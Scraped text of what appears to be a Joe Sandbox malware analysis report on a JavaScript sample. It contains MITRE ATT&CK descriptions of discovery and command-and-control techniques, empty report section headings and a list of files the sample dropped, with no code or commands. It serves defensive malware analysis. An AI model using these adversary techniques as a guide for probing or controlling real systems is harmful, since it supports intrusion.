Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1932574451821324222.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\113449e9-a862-4645-baa8-ab8f8699abef.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4920

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
1932574451821324222.js